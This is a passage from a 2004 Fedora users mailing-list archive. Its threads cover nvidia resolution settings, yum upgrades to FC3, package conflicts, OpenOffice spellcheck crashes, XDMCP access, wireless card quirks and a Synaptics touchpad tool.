at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 00:40:44 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099807461.5877.27.camel@ricardo.veguilla.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> <1099804667.5877.19.camel@ricardo.veguilla.net> <1099805913.3599.2.camel@guyleidadell> <1099807461.5877.27.camel@ricardo.veguilla.net> Message-ID: <1099809644.3535.1.camel@guyleidadell> On Sun, 2004-11-07 at 02:04 -0400, Ricardo Veguilla wrote: > On Sat, 2004-11-06 at 23:38 -0600, W. Guy Thomas wrote: > > On Sun, 2004-11-07 at 01:17 -0400, Ricardo Veguilla wrote: > > > On Sun, 2004-11-07 at 01:13 -0400, Ricardo Veguilla wrote: > > > > On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > > > > > now if I could only get to 1600x1200! > > > > > > > > > > xorg.conf follows: > > > > > > > > > > > > > > > > > > > Section "Monitor" > > > > > Identifier "Monitor0" > > > > > VendorName "Monitor Vendor" > > > > > ModelName "LCD Panel 1600x1200" > > > > > HorizSync 31.5 - 90.0 > > > > > VertRefresh 60.0 - 60.0 > > > > > Option "dpms" > > > > > EndSection > > > > > > > > > > > > > > > > > If you know your monitors supports that resolution, add > > > > > > > > Option "IgnoreEDID" "true" > > > > > > > > to the "Device" section, and it should work. > > > > > > > > > > Ok... I don't know why I quoted the "Monitor" section instead of the > > > "Device" section. > > > > > > Anyway, the instructions are correct, assuming a) the monitors supports > > > the resolution, b) your are using the nvidia driver, c) the "Display" > > > section is set up correctly. > > > > > > > > > Regards, > > > -- > > > Ricardo Veguilla > > > > last question, I *know* this box is supposed to do that 1600 res, but I > > have never seen it...if I add this line am I liable to do any damage? > > > I guess it could damage your monitor/display (assuming it doesn't really > support that resolution) but, I really don't know. In my case, I know my > monitor accepts that resolution because a) it works with the xorg > drivers, b) it works in Windows with the Nvidia drivers. > > Regards, > -- > Ricardo Veguilla > thanks, it didn't work, I got a double split screen so I'm guessing that even though this model laptop will do 1600, the nvidia drivers just aren't there yet. thank you so much for all the input tonite. -- =Guy 00:39:42 up 12 min, 2 users, load average: 0.47, 1.74, 1.30 From webmaster at margo.bijoux.nom.br Sun Nov 7 07:12:25 2004 From: webmaster at margo.bijoux.nom.br (Pedro Fernandes Macedo) Date: Sun, 07 Nov 2004 05:12:25 -0200 Subject: BitTorrent for FC3 Release In-Reply-To: <1099805391.27439.10.camel@oscar.metro1.com> References: <1099805391.27439.10.camel@oscar.metro1.com> Message-ID: <418DCAD9.30801@margo.bijoux.nom.br> Sean Bruno wrote: > > >I am going to be flying out of town when FC3 is released on Monday AM. > >If I get up early enough(4:00AM PST), will I be able to start up a >BitTorrent Download/Share? I wanted to leave my box up on the Torrent >for the first few weeks to help out, but I won't be able to get to my >machine for the next week or so... > >No big deal if its not, just curious if I should set my alarm an hour or >two early in order to start up my Torrent Client. It seems that it >about the only thing I can get do for the Linux community lately, i.e. >leave my machine up on various BitTorrents... > > > > > > > What about doing some bash scripting to start the download while you're away? Here's what I'm thinking about... You can make a simple script that checks the existence of the torrent files on a given server (1) , downloads them and open them using the default bittorrent client. (This is assuming that you dont use another client , like azureus , for example). The only problem from (1) is from which server to grab the torrent files... You can write a parser to grab the .torrent files from the page at duke.edu or you can ask someone to grab those .torrent files and place them on a server with a predefined URL... This way , the script is much simpler... If you want my help on this , just mail me.... -- Pedro Macedo From byte at aeon.com.my Sun Nov 7 05:47:11 2004 From: byte at aeon.com.my (Colin Charles) Date: Sun, 07 Nov 2004 16:47:11 +1100 Subject: warning to list In-Reply-To: <1099799590.7256.11.camel@hostmaster.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> <1098677531.21605.70.camel@va.local.linuxlobbyist.org> <1098745593.3872.176.camel@baythorne.infradead.org> <1099799590.7256.11.camel@hostmaster.org> Message-ID: <1099806432.3414.72.camel@hermione.soho.bytebot.net> On Sun, 2004-11-07 at 04:53 +0100, Thomas Zehetbauer wrote: > > That is an unfortunate error of judgement on their part. Let's not > > compound it by advocating the fundamentally flawed snake oil which is > > SPF in an inappropriate forum. > > Since you unfortunately decided to prolong the discussion about this > subject, what is your problem with SPF? Might have had to cc that reply to dwmw2, because he really isn't on this list it'd seem. I believe he's said his peace on fedora-devel-list@ /me was just doing a tonne of moderation based on sane sender e-mail addresses not long ago -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From rainer.traut at epost.de Sun Nov 7 07:25:59 2004 From: rainer.traut at epost.de (Rainer Traut) Date: Sun, 07 Nov 2004 08:25:59 +0100 Subject: What I hope is not in FC3 In-Reply-To: <1099807010.3384.64.camel@localhost.localdomain> References: <418D9766.1030204@insight.rr.com> <604aa7910411061942602dc0e9@mail.gmail.com> <1099807010.3384.64.camel@localhost.localdomain> Message-ID: <418DCE07.6000606@epost.de> Rodolfo J. Paiz wrote: > On Sat, 2004-11-06 at 22:42 -0500, Jeff Spaleta wrote: > >>On Sat, 06 Nov 2004 22:32:54 -0500, Jim Cornette >> wrote: >> >>>5) not being able to do a normal graphical installation, without special >>>parameters issued before the install. >> >>"normal" ? I think your definition of "normal" has to be different than mine. >>Because i can certaintly do a "normal" graphical installation with no >>extra parameters on my "normal" hardware [...] > > > As can I. I've done graphical installs even on a Pentium Pro (200MHz) > with 64MB of RAM and a 1GB hard drive (just last week), and have done > them flawlessly on dozens if not hundreds of other (usually faster) > computers before. Been doing them since at least RHL-9, too. > > What your problem is, I have no idea... but I can assure you that I and > many, many, *many* computers do not share it. If you have no idea then you should not answer... But seriously, there are still issues that cannot do any graphical install though all components are supported: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=107119 Rainer From byte at aeon.com.my Sun Nov 7 05:48:57 2004 From: byte at aeon.com.my (Colin Charles) Date: Sun, 07 Nov 2004 16:48:57 +1100 Subject: yum update from RC5 to full release possible? In-Reply-To: <200411060111.24328.gene.heskett@verizon.net> References: <200411060111.24328.gene.heskett@verizon.net> Message-ID: <1099806537.3414.74.camel@hermione.soho.bytebot.net> On Sat, 2004-11-06 at 01:11 -0500, Gene Heskett wrote: > I just put RC5 on my shop box, and I'm wondering if, when the full > release is made, I can yum update it to the full release? yum update yum first. Then afterward, a full update/upgrade will do you good. I think even /etc/fedora-release should get sorted out for you ;) -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Sun Nov 7 05:55:23 2004 From: byte at aeon.com.my (Colin Charles) Date: Sun, 07 Nov 2004 16:55:23 +1100 Subject: kernel-2.6.9-1.649 ext3 issues In-Reply-To: References: Message-ID: <1099806923.3414.76.camel@hermione.soho.bytebot.net> On Mon, 2004-11-01 at 15:59 -0500, kenneth topp wrote: > I have two boxes that had ext3 corruption on 649, both had 643 before. I > have a third machine that stayed on 643 and is still alive. Did you get inode 7 errors on reboot, during fsck? I had those on PPC, thought it was ppc specific - so did another user > One of the machine was completely lost. Hopefully online ext3 resizing is > removed from FC3 kernels. It seems to have stabalised with later kernels though -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Sun Nov 7 05:56:59 2004 From: byte at aeon.com.my (Colin Charles) Date: Sun, 07 Nov 2004 16:56:59 +1100 Subject: Openoffice.org right click In-Reply-To: <418D8606.8050704@optonline.net> References: <418D8606.8050704@optonline.net> Message-ID: <1099807019.3414.79.camel@hermione.soho.bytebot.net> On Sat, 2004-11-06 at 21:18 -0500, Noah Berman wrote: > If Autospellcheck is on in openoffice.org and misspelled words are > unlined in red, trying to right click on the word to find a list of > possible corrections causes the program to crash losing all of your > work, and failing to correct the word. How much ram do you have? https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=124374 Might wanna add comments to that bug report as well You have the i18n package installed as well, I presume? -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From skvidal at phy.duke.edu Sun Nov 7 08:03:03 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 07 Nov 2004 03:03:03 -0500 Subject: BitTorrent for FC3 Release In-Reply-To: <1099805391.27439.10.camel@oscar.metro1.com> References: <1099805391.27439.10.camel@oscar.metro1.com> Message-ID: <1099814583.6240.13.camel@portnoy> On Sat, 2004-11-06 at 21:29 -0800, Sean Bruno wrote: > > > I am going to be flying out of town when FC3 is released on Monday AM. > > If I get up early enough(4:00AM PST), will I be able to start up a > BitTorrent Download/Share? I wanted to leave my box up on the Torrent > for the first few weeks to help out, but I won't be able to get to my > machine for the next week or so... > > No big deal if its not, just curious if I should set my alarm an hour or > two early in order to start up my Torrent Client. It seems that it > about the only thing I can get do for the Linux community lately, i.e. > leave my machine up on various BitTorrents... > The bittorrent release will happen at the same time as the mirrors open up. Monday 3PM EST GMT-5 -sv From byte at aeon.com.my Sun Nov 7 05:47:11 2004 From: byte at aeon.com.my (Colin Charles) Date: Sun, 07 Nov 2004 16:47:11 +1100 Subject: warning to list In-Reply-To: <1099799590.7256.11.camel@hostmaster.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> <1098677531.21605.70.camel@va.local.linuxlobbyist.org> <1098745593.3872.176.camel@baythorne.infradead.org> <1099799590.7256.11.camel@hostmaster.org> Message-ID: <1099806432.3414.72.camel@hermione.soho.bytebot.net> On Sun, 2004-11-07 at 04:53 +0100, Thomas Zehetbauer wrote: > > That is an unfortunate error of judgement on their part. Let's not > > compound it by advocating the fundamentally flawed snake oil which is > > SPF in an inappropriate forum. > > Since you unfortunately decided to prolong the discussion about this > subject, what is your problem with SPF? Might have had to cc that reply to dwmw2, because he really isn't on this list it'd seem. I believe he's said his peace on fedora-devel-list@ /me was just doing a tonne of moderation based on sane sender e-mail addresses not long ago -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From paul at all-the-johnsons.co.uk Sun Nov 7 10:51:11 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Sun, 07 Nov 2004 10:51:11 +0000 Subject: hotplug? Message-ID: <1099824671.4043.20.camel@localhost.localdomain> Hi, What do I do to start hotplug? ps -aux isn't showing it as running and there doesn't seem to be anything in /etc/init.d called hotplugd I do have it installed on this machine Using FC3T3 (or is that FC4 t1 now?) TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... 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Error : missing dep: python-abi for pkg system-config-printer Error : missing dep: python for pkg python-ldap Error : missing dep: python-abi for pyparted Error : missing dep: /usr/lib/python2.3 for pkg libxml2-python Error : postgresql-python conflicts with python>= 2.4 Error : missing dep: python-abi for pkg alchemist Error : missing dep: libpython2.3.so.1.0 for pkg koffice Error : missing dep: libpython2.3.so.1.0 for pkg postgresql-pl Error : missing dep: python-abi for pkg gnome-python2 I have python-2.3.4-11 and python-devel-2.3.4-11 installed TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... 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Until all the packages are updated to use the new version of python, you can exclude it from the update operation by running: "yum --exclude python\* update" Regards, -- Ricardo Veguilla From veillard at redhat.com Sun Nov 7 11:57:21 2004 From: veillard at redhat.com (Daniel Veillard) Date: Sun, 7 Nov 2004 06:57:21 -0500 Subject: libxml erros from last update In-Reply-To: <1099804843.2892.5.camel@localhost.localdomain> References: <1099804843.2892.5.camel@localhost.localdomain> Message-ID: <20041107115721.GA11673@redhat.com> On Sun, Nov 07, 2004 at 04:20:43PM +1100, david wrote: > hi all > on doing the last load of updates this error occurred: > > Running test transaction: > Errors reported doing trial run > file /usr/lib64/libxml2.so.2 from install of libxml2-2.6.15-2 conflicts > with file from package libxml2_2-2.6.10-2_11.rhfc2.at > file /usr/lib64/libexslt.so.0 from install of libxslt-1.1.12-2 conflicts > with file from package libxslt1-1.1.7-2_5.rhfc2.at > file /usr/lib64/libxslt.so.1 from install of libxslt-1.1.12-2 conflicts > with file from package libxslt1-1.1.7-2_5.rhfc2.at > [root at localhost root]# > > is there a work around for this? > i am running x86_64 fc2 which is up to date except above libxml2_2-2.6.10-2_11.rhfc2.at does not come from Fedora, I don't think so. You installed a package from a different distro or site, and it is clashing with the regular libxml2 I package. You may have to remove it or fix the conflict manually. Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From kyrre at solution-forge.net Sun Nov 7 13:17:42 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 07 Nov 2004 14:17:42 +0100 Subject: Openoffice.org right click In-Reply-To: <418D8606.8050704@optonline.net> References: <418D8606.8050704@optonline.net> Message-ID: <1099833461.2704.9.camel@kyrre> s?n, 07.11.2004 kl. 03.18 skrev Noah Berman: > If Autospellcheck is on in openoffice.org and misspelled words are > unlined in red, trying to right click on the word to find a list of > possible corrections causes the program to crash losing all of your > work, and failing to correct the word. No it dose'nt chrash (assuming you don't run out of memory/swap and the kernel kill's it...), it just uses a hell of a lot of time... Why the *hell* has it to load *all* dictionaries? I don't care if my unrecognized, norwegian word is by accident recogniced as polish or welch! *grr* From tim at birdsnest.maths.tcd.ie Sun Nov 7 13:21:18 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Sun, 7 Nov 2004 13:21:18 +0000 Subject: What I hope is not in FC3 In-Reply-To: <1099807010.3384.64.camel@localhost.localdomain> References: <418D9766.1030204@insight.rr.com> <604aa7910411061942602dc0e9@mail.gmail.com> <1099807010.3384.64.camel@localhost.localdomain> Message-ID: <200411071321.19175.tim@birdsnest.maths.tcd.ie> On Sunday 07 November 2004 05:56, Rodolfo J. Paiz wrote: > What your problem is, I have no idea... but I can assure you that I and > many, many, *many* computers do not share it. It's very hard to estimate in what proportion of cases installation fails, since there seem to be no statistics, and obviously one reads of failures more often, since few people are going to post messages to the effect that all is fine. However, I believe the proportion of failures is increasing. This may be because there is a wider range of hardware. It may also be because less attention is paid to installation difficulties. I have 6 computers at home, 1 of which is currently not working. (If anyone knows of a site that will mend a Sony Playstation, let me know!) I have had problems with Fedora installation on 3 of these: two Sony Playstations (C1VE and C1VFK) and an Asus-P2BLS SCSI-only machine. I won't go into the problems here, but the upshot is that no Redhat/Fedora distribution has installed cleanly on these 3 machines since Redhat-8.0. On the Picturebooks, the standard Sony CD reader is not supported; on the Asus, the fairly standard SCSI driver has not been properly installed by the distribution kernels. So in my case at least, installation problems have been getting worse. I shall try FC-3 as soon as it comes out, but I have very little hope that it will be any better from this point of view than FC-2, since I don't think this kind of issue is being addressed. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From kyrre at solution-forge.net Sun Nov 7 13:20:05 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 07 Nov 2004 14:20:05 +0100 Subject: FC3 test 3 and xdmcp access In-Reply-To: <1099790763.8160.2.camel@family> References: <418D707D.2070800@BaerSolutions.com> <1099790763.8160.2.camel@family> Message-ID: <1099833605.2704.12.camel@kyrre> s?n, 07.11.2004 kl. 02.26 skrev Sandy Pond: > On Sat, 2004-11-06 at 19:46 -0500, R. Scott Baer wrote: > > I loaded the FC3 test 3 and access the box via xdmcp after I enabled the > > option vi the login setting. > > After updating the box via yum, and a reboot, I am no longer able to > > access the box via xdmcp. > > I have duplicate this problem on two boxes > > > > I'm trying to access if from a cygwin using the following command: > > > > x -query (the hostname or IP) > > > > I can still access other boxed on the network using this command. > > > > Is their a new setting that has changed during the FC3 test 3 updates > > that i missed ?? > > I think XDMCP is now disabled by default. Go to System Settings => > Login Screen and on the XDMCP tab click on Enable XDMCP. > > However, if you're using cygwin's X then you may want to just "ssh -X > username at remote" from an xterm. You won't then get the entire desktop loaded... Just singe programs (which is, how i prefer to check mail through evo from my laptop...) From P.R.Schaffner at IEEE.org Sun Nov 7 13:23:22 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sun, 07 Nov 2004 08:23:22 -0500 Subject: What I hope is not in FC3 In-Reply-To: <418DCE07.6000606@epost.de> References: <418D9766.1030204@insight.rr.com> <604aa7910411061942602dc0e9@mail.gmail.com> <1099807010.3384.64.camel@localhost.localdomain> <418DCE07.6000606@epost.de> Message-ID: <1099833802.7037.32.camel@tabb1.tabb> On Sun, 2004-11-07 at 08:25 +0100, Rainer Traut wrote: > Rodolfo J. Paiz wrote: ... > > What your problem is, I have no idea... but I can assure you that I and > > many, many, *many* computers do not share it. > > If you have no idea then you should not answer... > But seriously, there are still issues that cannot do any graphical > install though all components are supported: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=107119 Then there's https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=128711 'Course this must not be a "normal" machine - IBM ThinkPad A21p - as it has been unable to install or run anything past FC3t1. Built-in NIC (Ethernet controller: 3Com Corporation 3c556B CardBus [Tornado] (rev 20)) is apparently not supported. Have lots of ideas, but perhaps none helpful. On Sat, 2004-11-06 at 22:32 -0500, Jim Cornette wrote: > 3) CD burning programs that do not select rational default settings, > to prevent mediacheck errors. > > 4) Having to unplug scanners to get them to have the proper > permissions for scanning. These are also quite annoying. I have to unplug/reconnect to get the scanner recognized at all. OTOH - FC3 is not likely to fix any of these, and overall looks very nice on compatible hardware. These should be on the FC4 wish/hope-not list. Phil From byte at aeon.com.my Sun Nov 7 12:52:28 2004 From: byte at aeon.com.my (Colin Charles) Date: Sun, 07 Nov 2004 23:52:28 +1100 Subject: hotplug? In-Reply-To: <1099824671.4043.20.camel@localhost.localdomain> References: <1099824671.4043.20.camel@localhost.localdomain> Message-ID: <1099831949.3414.95.camel@hermione.soho.bytebot.net> On Sun, 2004-11-07 at 10:51 +0000, Paul wrote: > What do I do to start hotplug? ps -aux isn't showing it as running and > there doesn't seem to be anything in /etc/init.d called hotplugd It starts automatically (/sbin/hotplug) when you add/remove stuff (and the kernel adds and removes events) Reading docs from: rpm -qd hotplug Will be useful if you want to know more > I do have it installed on this machine Definitely :) > Using FC3T3 (or is that FC4 t1 now?) Just Rawhide ;-) -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From rpa4email at rogers.com Sun Nov 7 13:56:07 2004 From: rpa4email at rogers.com (Robert Couture) Date: Sun, 07 Nov 2004 08:56:07 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <1099806537.3414.74.camel@hermione.soho.bytebot.net> References: <200411060111.24328.gene.heskett@verizon.net> <1099806537.3414.74.camel@hermione.soho.bytebot.net> Message-ID: <1099835767.4821.54.camel@RuneLinux.tamn.local> On Sun, 2004-07-11 at 16:48 +1100, Colin Charles wrote: > yum update yum > first. Then afterward, a full update/upgrade will do you good. I think > even /etc/fedora-release should get sorted out for you ;) That brings up a question. Shouldn't /etc/fedora-release have been updated as RAWHIDE got updated? The reason I ask, is that my system still shows is as test2 although I am current to RAWHIDE. Thanks, Robert. From ufo at linux.net.mk Sun Nov 7 13:54:00 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Sun, 07 Nov 2004 14:54:00 +0100 Subject: no sound with kernel-2.6.9-1.667 Message-ID: <418E28F8.9010100@linux.net.mk> I did an up2date update a few days ago and among others added linux 2.6.9-1.667. After system was rebooted, same modules were loaded but there's no sound. Kudzu didn't help. It's still no mixer elements or devices found. :0 Anyone had this problem? Hope this will be fixed in the final release. From byte at aeon.com.my Sun Nov 7 12:47:48 2004 From: byte at aeon.com.my (Colin Charles) Date: Sun, 07 Nov 2004 23:47:48 +1100 Subject: libxml erros from last update In-Reply-To: <20041107115721.GA11673@redhat.com> References: <1099804843.2892.5.camel@localhost.localdomain> <20041107115721.GA11673@redhat.com> Message-ID: <1099831668.3414.92.camel@hermione.soho.bytebot.net> On Sun, 2004-11-07 at 06:57 -0500, Daniel Veillard wrote: > libxml2_2-2.6.10-2_11.rhfc2.at does not come from Fedora, I don't think > so. You installed a package from a different distro or site, and it is > clashing with the regular libxml2 I package. You may have to remove it > or fix the conflict manually. The .at gives the atrpms site - so bugzilla.atrpms.net needs to hear about this -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From tim at birdsnest.maths.tcd.ie Sun Nov 7 14:49:44 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Sun, 7 Nov 2004 14:49:44 +0000 Subject: yum update from RC5 to full release possible? In-Reply-To: <1099835767.4821.54.camel@RuneLinux.tamn.local> References: <200411060111.24328.gene.heskett@verizon.net> <1099806537.3414.74.camel@hermione.soho.bytebot.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> Message-ID: <200411071449.45240.tim@birdsnest.maths.tcd.ie> On Sunday 07 November 2004 13:56, Robert Couture wrote: > The reason I ask, is that my system still shows is as test2 although I > am current to RAWHIDE. How exactly did you install "RAWHIDE"? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From lux at diesel-research.com Sun Nov 7 14:59:03 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 07 Nov 2004 07:59:03 -0700 Subject: Synaptics Touchpad tool source available Message-ID: <1099839543.3990.2.camel@localhost.localdomain> Some of you Synaptics touchpad users might be interested to know that there is a tool available in Mandrake 10.1 to set various properties of the touchpad. You can get source here: ftp://mirror.cpsc.ucalgary.ca/mandrakelinux.com/official/10.1/SRPMS/contrib/qsynaptics-0.21-1mdk.src.rpm I have not built it or tested it yet. -- Kim Lux (Mr.) Diesel Research Inc From phd2 at fcomfrench.com Sun Nov 7 15:00:20 2004 From: phd2 at fcomfrench.com (Philippe) Date: Sun, 07 Nov 2004 22:00:20 +0700 Subject: Openoffice.org right click In-Reply-To: <1099833461.2704.9.camel@kyrre> References: <418D8606.8050704@optonline.net> <1099833461.2704.9.camel@kyrre> Message-ID: <1099839620.9277.17.camel@P4.AAA> On Sun, 2004-11-07 at 20:17, Kyrre Ness Sjobak wrote: > No it dose'nt chrash (assuming you don't run out of memory/swap and the > kernel kill's it...), it just uses a hell of a lot of time... Why the > *hell* has it to load *all* dictionaries? Hi, As I was having this problem a month ago, I decided to "fix" the dictionary list. I found it in : /usr/lib/ooo-1.1/share/dict/ooo/ and itd name is dictionary.lst. Just save the original, and delete any dictionnary you don't need. It works for me. Moreover, I had duplicates in this list !!! For every words to be corrected, OO gave me twice the good answer ! Somebody told me about : $HOME/.rhopenoffice-1.1/dictionary.lst. It does not seem to be used anymore, at least for my configuration. Maybe because of an "all-user" install. Hope this helps, Philippe (FC2) -- Philippe, Chiangmai, Thailand From dcbw at redhat.com Sun Nov 7 15:02:47 2004 From: dcbw at redhat.com (Dan Williams) Date: Sun, 7 Nov 2004 10:02:47 -0500 (EST) Subject: Another NetworkManager question In-Reply-To: <77e74f3e04110607224a60c073@mail.gmail.com> References: <77e74f3e04110607224a60c073@mail.gmail.com> Message-ID: On Sat, 6 Nov 2004, Amitabha Roy wrote: > How is it possible that iwconfig and NM applet show conflicting information ? > In this case at least a 30% signal strength means that NM applet information > is actually incorrect. Orinoco cards have problems. My orinoco card (and I've had the same report from 2 other people) will refuse to associate with an AP when its strength is low. However, it will report being connected to an AP when it clearly cannot be. For example: Given two access points, foobar and baz, where foobar is clearly the strongest. 1) I set the essid on the card to be "foobar" 2) Card associates with foobar correctly, MAC address is that of foobar 3) I set the essid on the card to be "baz" 4) Card's reported MAC address is still that of "foobar", but the ESSID reported from iwconfig shows "baz" When attempting to associate with a weaker access point, the Orinoco drivers/firmware appear to ignore what you tell it to do, and never associate with that weaker access point no matter what. Worse yet, it will report the _wrong_ ESSID for the access point you've actually associated with! I have pretty much given up in disgust on this issue. If this occurs and you _know_ that the ESSID the card reports with an iwconfig is _actually_ the same base station as the MAC address that the card reports with iwconfig, then you aren't having this problem. If they are different when attempting to connect to a weak base station, then you are. > Also, can someone tell me where NM stores keys, ap information, > history of recorded > networks etc ? How can I reset all the information so that NM does not try > to repeat old mistakes ? gconftool-2 --recursive-unset /system/networking/wireless/networks should do the job. Dan From javaman67 at acd.net Sun Nov 7 15:02:39 2004 From: javaman67 at acd.net (Brian Craft) Date: Sun, 07 Nov 2004 10:02:39 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <1099835767.4821.54.camel@RuneLinux.tamn.local> References: <200411060111.24328.gene.heskett@verizon.net> <1099806537.3414.74.camel@hermione.soho.bytebot.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> Message-ID: <1099839759.3718.1.camel@craft.us.org> On Sun, 2004-11-07 at 08:56 -0500, Robert Couture wrote: > On Sun, 2004-07-11 at 16:48 +1100, Colin Charles wrote: > > yum update yum > > > first. Then afterward, a full update/upgrade will do you good. I think > > even /etc/fedora-release should get sorted out for you ;) > > That brings up a question. Shouldn't /etc/fedora-release have been > updated as RAWHIDE got updated? > > The reason I ask, is that my system still shows is as test2 although I > am current to RAWHIDE. > > Thanks, > > Robert. > > > fedora-release-3-6.i386.rpm appears to report as Fedora Core 3..........I got it from http://testing.fedora.redhat.com/tree/i386/os/Fedora/RPMS/ -- Brian Craft Yahoo Instant Messenger ID: bcraft67 AIM: linuxman67 Linux Counter id: 97873 Linux......the OS of Choice! From cjtinhp at optonline.net Sun Nov 7 15:14:12 2004 From: cjtinhp at optonline.net (craig thomas) Date: Sun, 07 Nov 2004 10:14:12 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <200411060111.24328.gene.heskett@verizon.net> References: <200411060111.24328.gene.heskett@verizon.net> Message-ID: <1099840452.3603.10.camel@jaja> On Sat, 2004-11-06 at 01:11, Gene Heskett wrote: > I just put RC5 on my shop box, and I'm wondering if, when the full > release is made, I can yum update it to the full release? This post is about fc2>fc3final yum upgrade, but seems relevant: http://www.redhat.com/archives/fedora-test-list/2004-November/msg00309.html -- craig thomas From pnasrat at redhat.com Sun Nov 7 15:32:27 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Sun, 7 Nov 2004 10:32:27 -0500 Subject: Synaptics Touchpad tool source available In-Reply-To: <1099839543.3990.2.camel@localhost.localdomain> References: <1099839543.3990.2.camel@localhost.localdomain> Message-ID: <20041107153226.GB18759@devserv.devel.redhat.com> On Sun, Nov 07, 2004 at 07:59:03AM -0700, Kim Lux wrote: > Some of you Synaptics touchpad users might be interested to know that > there is a tool available in Mandrake 10.1 to set various properties of > the touchpad. Only if the configuration has SHM enabled - which we don't by default. I'll be looking at configurability for synaptics/tablets shortly. Paul From lux at diesel-research.com Sun Nov 7 15:39:21 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 07 Nov 2004 08:39:21 -0700 Subject: Synaptics Touchpad tool source available In-Reply-To: <20041107153226.GB18759@devserv.devel.redhat.com> References: <1099839543.3990.2.camel@localhost.localdomain> <20041107153226.GB18759@devserv.devel.redhat.com> Message-ID: <1099841961.5076.0.camel@localhost.localdomain> Thanks for the quick reply. What is SHM ? On Sun, 2004-11-07 at 10:32 -0500, Paul Nasrat wrote: > On Sun, Nov 07, 2004 at 07:59:03AM -0700, Kim Lux wrote: > > Some of you Synaptics touchpad users might be interested to know that > > there is a tool available in Mandrake 10.1 to set various properties of > > the touchpad. > > Only if the configuration has SHM enabled - which we don't by default. > > I'll be looking at configurability for synaptics/tablets shortly. > > Paul > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sun Nov 7 15:41:07 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 07 Nov 2004 08:41:07 -0700 Subject: Synaptics Touchpad tool source available In-Reply-To: <20041107153226.GB18759@devserv.devel.redhat.com> References: <1099839543.3990.2.camel@localhost.localdomain> <20041107153226.GB18759@devserv.devel.redhat.com> Message-ID: <1099842067.5076.3.camel@localhost.localdomain> BTW: I'd love to run symdaemon. I think that is a great addition to the driver. I'd also love to run both the touchpad and a USB mouse at the same time. I like using the touchpad for quick, little mouse tasks, without taking my hands from the keyboard. I like using the USB mouse for bigger things. OPEN SOURCE ROCKS ! Thanks. On Sun, 2004-11-07 at 10:32 -0500, Paul Nasrat wrote: > On Sun, Nov 07, 2004 at 07:59:03AM -0700, Kim Lux wrote: > > Some of you Synaptics touchpad users might be interested to know that > > there is a tool available in Mandrake 10.1 to set various properties of > > the touchpad. > > Only if the configuration has SHM enabled - which we don't by default. > > I'll be looking at configurability for synaptics/tablets shortly. > > Paul > -- Kim Lux (Mr.) Diesel Research Inc From chrisw01 at privatei.com Sun Nov 7 16:22:32 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: 